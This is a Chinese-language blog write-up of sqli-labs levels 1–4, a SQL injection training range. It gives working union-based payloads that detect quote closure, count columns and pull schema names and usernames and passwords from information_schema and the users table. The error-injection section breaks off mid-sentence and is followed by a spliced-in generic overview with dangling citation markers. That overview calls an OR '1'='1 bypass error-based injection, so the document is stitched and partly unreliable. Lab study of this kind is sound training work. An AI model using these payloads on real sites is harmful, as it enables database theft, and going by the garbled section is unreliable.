Sqli-Lab靶场-基础篇笔记

一. 首先判断注入类型,分为字符型与数字型两种。

关于数字型注入判断方法
/?id=1 and 1=1 页面显示正常 
/?id=1 and 1=2 页面显示不正常

原理是在Mysql数据库中,若字符为数字型,则查询代码类似于:SELECT * FROM users WHERE id=$id LIMIT 0,1

关于字符注入判断方法

一般字符型的六种包裹方式为:

'$id',"$id",('$id'),("$id"),(('$id')),(("$id"))

可以通过多次尝试不同方式的闭合,最终判断出此字段是哪种闭合方式。

二. 联合查询注入

Less-1

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

1. 判断出闭合方式为单引号
在这里插入图片描述
2. 判断表的字段数

http://127.0.0.1/sql/Less-1/?id=1' order by 4--+
在这里插入图片描述

http://127.0.0.1/sql/Less-1/?id=1' order by 3--+
在这里插入图片描述
故可知表中的字段数为3

3.判断可显字段(报错+union联合查询)
http://127.0.0.1/sql/Less-1/?id=-1' union select 1,2,3--+
TIPS:此时id=X,X为表中不存在的id字段。目的是:在使用union联合查询时,令前面的输出数据(select * from users where id=-1)为空,而输出后面union查询的值。
可以在本地测试一下:结果如图所示。因此在此处,id = -1 或者 id = 1 and 1=2 或者 id = 999作用相同,也就是说数据库中是不会存在这些不正常的id值的,select 查询结果自然是会返回为空的。
在这里插入图片描述
4.在可显字段处进行下一步的注入,获取想要的信息

  1. 查询数据库名
    /Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+

  2. 查询表名
    Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='要查询的数据库名'--+

  3. 查询字段名
    /Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='表名' --+

  4. 查询字段内容
    /Less-1/?id=-1' union select 1,username,password from users--+
    TIPS:若要显示某字段全部内容,使用函数group_concat(),或用limit x,1一个个输出。

Less-2

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

1. 判断出为数字型注入,方法在文章开头。

2. 判断表的字段数

http://127.0.0.1/sql/Less-2/?id=1 order by 4
在这里插入图片描述
http://127.0.0.1/sql/Less-2/?id=1 order by 3
在这里插入图片描述
3. 判断可显字段
http://127.0.0.1/sql/Less-2/?id=-1 union select 1,2,3
在这里插入图片描述
4.在可显字段处进行下一步的注入,获取想要的信息

  1. 查询数据库名
    /Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata

  2. 查询表名
    Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='要查询的数据库名'

  3. 查询字段名
    /Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='表名'

  4. 查询字段内容
    /Less-2/?id=-1 union select 1,2,group_concat(username) from users

Less-3

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

字符型注入,闭合方式是 1') --+
注入流程同 Less-1

Less-4

$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

字符型注入,闭合方式是 1") --+

三. 报错注入

原理: 当查询不回显内容时

### 关于SQL注入实验室(sqli-lab)的解题思路 #### 实验室概述 SQLi-Labs 是一个用于学习和实践 SQL 注入漏洞利用技巧的开源项目。该项目提供了一系列具有不同复杂度级别的 Web 应用程序,旨在帮助安全研究人员理解和掌握各种类型的 SQL 注入攻击方法[^1]。 #### 基本准备 在开始尝试破解 sqli-lab 的各个关卡之前,确保已经安装并配置好了实验环境。通常情况下,可以通过 Docker 或者直接部署 PHP 和 MySQL 来运行这些练习实例。熟悉如何启动服务以及访问目标网站是非常重要的前提条件[^2]。 #### 解决方案概览 对于每一个挑战级别,解决过程大致可以分为以下几个方面: - **理解应用程序逻辑**:仔细阅读页面上的提示信息,了解输入字段的作用范围及其背后可能存在的查询语句结构。 - **识别潜在入口点**:通过测试不同的参数组合来发现哪些地方可能存在未被充分验证过的用户输入路径。 - **构建有效载荷(Payload)**:基于前面两步获得的知识,精心设计能够绕过防护机制并执行恶意命令的数据包内容。 下面给出一些具体场景下的通用策略和技术要点说明: ##### Level 1 - Error Based Injection 当遇到错误消息泄露型注入时,可利用单引号 `'` 导致语法异常进而触发数据库报错的方式来进行探测。例如,在登录表单中提交如下用户名: ```sql ' OR '1'='1 ``` 如果返回了不同于正常情况的结果,则表明存在该类别的弱点[^3]。 ##### Union Query Attack 联合查询是一种常见的高级技术,它允许攻击者将额外的选择子附加到原始请求之后从而获取更多有用的信息片段。比如构造这样的 URL 参数字符串: ```http ?id=1 UNION SELECT null, version(), database() ``` 这会使得服务器响应除了原本预期之外还包含了当前使用的 DBMS 版本号及默认库名等敏感资料[^4]。 请注意以上仅作为理论指导而非详尽的操作指南;实际操作过程中还需要考虑诸多因素如编码方式转换、字符集差异处理等等细节问题。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值